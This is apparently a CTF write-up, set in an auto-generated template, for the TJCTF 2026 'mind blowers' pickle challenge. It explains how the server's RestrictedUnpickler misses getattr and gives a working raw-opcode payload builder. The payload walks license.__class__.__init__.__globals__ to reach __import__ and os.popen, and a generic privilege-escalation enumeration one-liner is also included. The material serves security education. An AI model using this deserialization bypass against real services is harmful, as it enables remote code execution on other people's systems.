mind blowers
mind blowers
Platform: Tjctf 2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: builtins_blocklist_evasion, dict_get_method_for_key_access_in_pickle, object_graph_traversal_license_class_init_globals, restricted_pickle_bypass_via_getattr
Summary
Task: Python pickle deserialization server with RestrictedUnpickler that whitelists builtins module and blocklists dangerous names (eval, exec, import, open). Solution: getattr is not blocked — chain through license.class.init.globals to recover import, import os, and execute commands via os.popen.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
TJCTF 2026| ID:20260515_tjctf_mind_blowers - Tags: rce, python, pickle, deserialization, blocklist_bypass, restricted_unpickler, getattr_chain, builtins_bypass, object_graph_traversal
- Indicators: RestrictedUnpickler with builtins-only module whitelist, Blocklist of dangerous builtins (eval, exec, import, open) but getattr is allowed, pickle.Unpickler.find_class override with name-based filtering, builtins.license object available as object graph entry point, Server accepts base64-encoded pickle data
- Source:
20260515_tjctf_mind_blowers.md
Foothold
Vulnerability / Misconfiguration
- Builtins_blocklist_evasion
- Dict_get_method_for_key_access_in_pickle
- Object_graph_traversal_license_class_init_globals
- Restricted_pickle_bypass_via_getattr
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- builtins_blocklist_evasion
- dict_get_method_for_key_access_in_pickle
- object_graph_traversal_license_class_init_globals
- restricted_pickle_bypass_via_getattr
- Tags: rce, python, pickle, deserialization, blocklist_bypass, restricted_unpickler, getattr_chain, builtins_bypass, object_graph_traversal
Original Writeup
<details><summary>Click to expand original content</summary>Description
Rick has open sourced his mind blowers program! Now you can upload your own mind blowers and view them! Don't upload any malicious mind blowers!
Connection: nc tjc.tf 31422 Source file: server.py
A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler. The goal is to bypass the restrictions and achieve remote code execution to read the flag.
Analysis
RestrictedUnpickler
The server implements a custom RestrictedUnpickler with two layers of defense:
- Module whitelist: Only
builtinsmodule is allowed — any other module infind_classraises an error - Name blocklist: Specific dangerous builtins are blocked:
BLOCKED_NAMES = {
"eval", "exec", "compile", "__import__", "open",
"breakpoint", "input", "exit", "quit",
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module != "builtins":
raise pickle.UnpicklingError("banned")
if name in BLOCKED_NAMES:
raise pickle.UnpicklingError("blocked")
return super().find_class(module, name)
Critical Oversight: getattr is Not Blocked
The blocklist only covers 9 names. Crucially, getattr is not among them. This is the key vulnerability because:
- The blocklist only applies to pickle's
find_classmethod, which is invoked byGLOBAL/STACK_GLOBALopcodes during deserialization - Once we have
builtins.getattras a callable, we can use pickle'sREDUCEopcode to call it at runtime - Runtime
getattrcalls do not go throughfind_class— they are normal Python attribute lookups - This means we can access
__import__viagetattreven though it's blocked infind_class
Object Graph Traversal Chain
Starting from builtins.license (a _sitebuiltins._Printer instance available in the builtins namespace), we can traverse the Python object graph to reach __import__:
builtins.license → _sitebuiltins._Printer instance
.__class__ → _sitebuiltins._Printer class
.__init__ → Python function (has __globals__)
.__globals__ → module globals dict
.get("__builtins__") → builtins dict (the real one)
.get("__import__") → __import__ function (unrestricted!)
The reason license works as an entry point is that it's a Python-level object (not a C builtin), so its __init__ method has __globals__ — unlike C-implemented builtins like print or len whose methods don't expose __globals__.
Solution
Pickle Payload Construction
The payload uses only two GLOBAL references that pass the filter: builtins.getattr and builtins.license. Everything else is achieved through REDUCE (function call) opcodes chaining getattr calls:
#!/usr/bin/env python3
import pickle
import io
import base64
def build_payload(cmd="cat /flag*"):
p = b''
# Step 1: cls = getattr(license, "__class__") → _sitebuiltins._Printer
p += b'cbuiltins\ngetattr\n(cbuiltins\nlicense\nS"__class__"\ntR'
# Step 2: init = getattr(cls, "__init__") → bound method with __globals__
p += b'p0\ncbuiltins\ngetattr\n(g0\nS"__init__"\ntR'
# Step 3: globs = getattr(init, "__globals__") → module globals dict
p += b'p1\ncbuiltins\ngetattr\n(g1\nS"__globals__"\ntR'
# Step 4: get = getattr(globs, "get"); builtins = get("__builtins__")
p += b'p2\ncbuiltins\ngetattr\n(g2\nS"get"\ntR(S"__builtins__"\ntR'
# Step 5: get = getattr(builtins, "get"); imp = get("__import__")
p += b'p3\ncbuiltins\ngetattr\n(g3\nS"get"\ntR(S"__import__"\ntR'
# Step 6: os = __import__("os")
p += b'p4\n(S"os"\ntR'
# Step 7: popen = getattr(os, "popen"); f = popen(cmd)
p += b'p5\ncbuiltins\ngetattr\n(g5\nS"popen"\ntR(S"' + cmd.encode() + b'"\ntR'
# Step 8: read = getattr(f, "read"); result = read()
p += b'p6\ncbuiltins\ngetattr\n(g6\nS"read"\ntR(tR'
# Stop
p += b'.'
return p
payload = build_payload()
encoded = base64.b64encode(payload).decode()
print(encoded)
# Verify locally
result = pickle.loads(payload)
print(f"Result: {result}")
Pickle Opcode Breakdown
| Opcode | Meaning | Effect |
|---|---|---|
c | GLOBAL | Push builtins.getattr or builtins.license |
( | MARK | Start tuple for function arguments |
S"..." | STRING | Push a string literal |
t | TUPLE | Build tuple from mark to here |
R | REDUCE | Call function with args tuple |
p0 | PUT | Store result in memo slot 0 |
g0 | GET | Retrieve from memo slot 0 |
. | STOP | End of pickle stream |
Execution
$ python3 solve.py | nc tjc.tf 31422
=== Rick's Mind Blower Server v3 ===
Only safe memories allowed now!!!!
Upload a memory (base64 encoded) > Here is your memory: tjctf{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR